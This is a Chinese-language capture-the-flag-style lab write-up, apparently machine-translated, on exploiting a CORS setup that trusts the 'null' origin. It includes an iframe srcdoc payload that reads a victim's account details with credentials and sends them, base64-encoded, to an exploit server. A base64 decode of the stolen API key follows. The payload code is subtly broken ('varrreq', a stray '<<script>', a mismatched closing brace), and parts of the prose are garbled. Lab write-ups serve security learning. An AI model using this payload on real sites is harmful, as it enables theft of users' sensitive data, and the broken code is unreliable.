> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/cors/cors-null-origin-trusted.md).

# 信任 Null Origin 的 CORS

### 具有受信任空来源的 CORS 漏洞

利用一个信任原始来源的易受攻击的 CORS 配置 `“null”`。本实验的目标是通过一次 CORS 请求（使用 `凭据`）并将代码上传到利用服务器。当管理员的 API 密钥成功提交时，实验即告完成。

* 服务器返回 `Access-Control-Allow-Credentials: true`.

<figure><img src="/files/0bdcca6c03486cef5237cf612e6efe17c1923c76" alt=""><figcaption></figcaption></figure>

当 `Origin: jord4n.pro` 标头被发送时，域名不会被反射。

<figure><img src="/files/3ab7841ebe69b3dfa1aaf554b47c171e98ff529a" alt=""><figcaption></figcaption></figure>

但是，在发送 `Origin: null`时，响应会接受并反射该值。

<figure><img src="/files/935ea213ba2afc1ba9f28c22c271f2339d0a1a31" alt=""><figcaption></figcaption></figure>

强制从一个页面发起请求，该页面的 `空` 来源（例如通过 `iframe` 列出文件内容，使用 `srcdoc`）这样 CORS 响应就会认为该来源是可信的，并返回数据（并使用 `withCredentials`).

```javascript
<iframe sandbox="allow-scripts" srcdoc="<<script>
    varrreq = new XMLHttpRequest();
    req.onload = function() {
    location = "https://exploit-0a3a00ab047b89dd8023021101ef0012.exploit-server.net/?apikey=" + btoa(req.responseText);
    );
    req.open("GET", "https://0a280071045626f880090316003b0053.web-security-academy.net/accountDetails", true);
    req.withCredentials = true;
    req.send();
</script>"></iframe>
```

<figure><img src="/files/ee9fb25c387cf6c2134c855e25dc6b5b51a0bb3c" alt=""><figcaption></figcaption></figure>

> 注意：原理是从 `空` 来源（iframe `srcdoc`），以便接受的 CORS 响应 `空`返回包括 cookie 在内的敏感数据。

解码自 Base64 的恢复密钥：

```bash
echo "NkhBVGdaVWdUb0t2QU5PbXNzanRyY1pDRlpUQUVFYjk=" | base64 -d; echo
6HATgZUgToKvANOmssjtrcZCFZTAEEb9
```


---

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